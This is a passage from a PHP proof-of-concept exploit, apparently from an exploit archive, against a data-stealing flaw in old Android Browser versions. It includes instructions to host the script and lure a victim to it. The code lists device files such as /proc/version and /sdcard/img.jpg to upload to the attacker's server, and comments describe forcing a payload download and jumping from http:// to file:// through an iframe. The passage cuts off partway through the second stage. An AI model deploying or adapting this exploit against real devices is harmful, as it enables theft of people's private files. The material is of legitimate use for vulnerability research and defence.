=4.0 did not allow redirecting to file:// by sending a header in testing
* Author: Thomas Cannon
* Advisory: (For vulns 1 & 2) : http://thomascannon.net/blog/2010/11/android-data-stealing-vulnerability/
* http://www.exploit-db.com/exploits/18164/
* (For vuln 3, and more on 1 & 2) : http://www.80vul.com/android/android-0days.txt
*
* Filename: poc2.php
* Instructions: Specify files you want to upload in filenames array. Host this php file
* on a server and visit it using the Android Browser. Some builds of Android
* may require adjustments to the script, e.g. because payload downloads as .htm instead of .html
*
* Tested on: Android 2.3 & Android 3.2 (Emulators)
*/
// List of the files on the device that we want to upload to our server
$filenames = array("/proc/version", "/sdcard/img.jpg");
// Determine the full URL of this script
$protocol = $_SERVER["HTTPS"] == "on" ? "https" : "http";
$scripturl = $protocol."://".$_SERVER["HTTP_HOST"].$_SERVER["SCRIPT_NAME"];
// Stage 0: Display introduction text and a link to start the PoC.
function stage0($scripturl) {
echo "Android <= 3.2
Data Stealing Web Page
Click: Malicious Link";
}
// Stage 1: Redirect to Stage 2 which will force a download of the HTML/JS payload, then a few seconds later redirect
// to the payload. We load the payload using by using an iframe to allow the browser to jump protocols from http:// to file://
// The JavaScript in the payload is then executed in the context of the local device.
function stage1($scripturl) {
echo "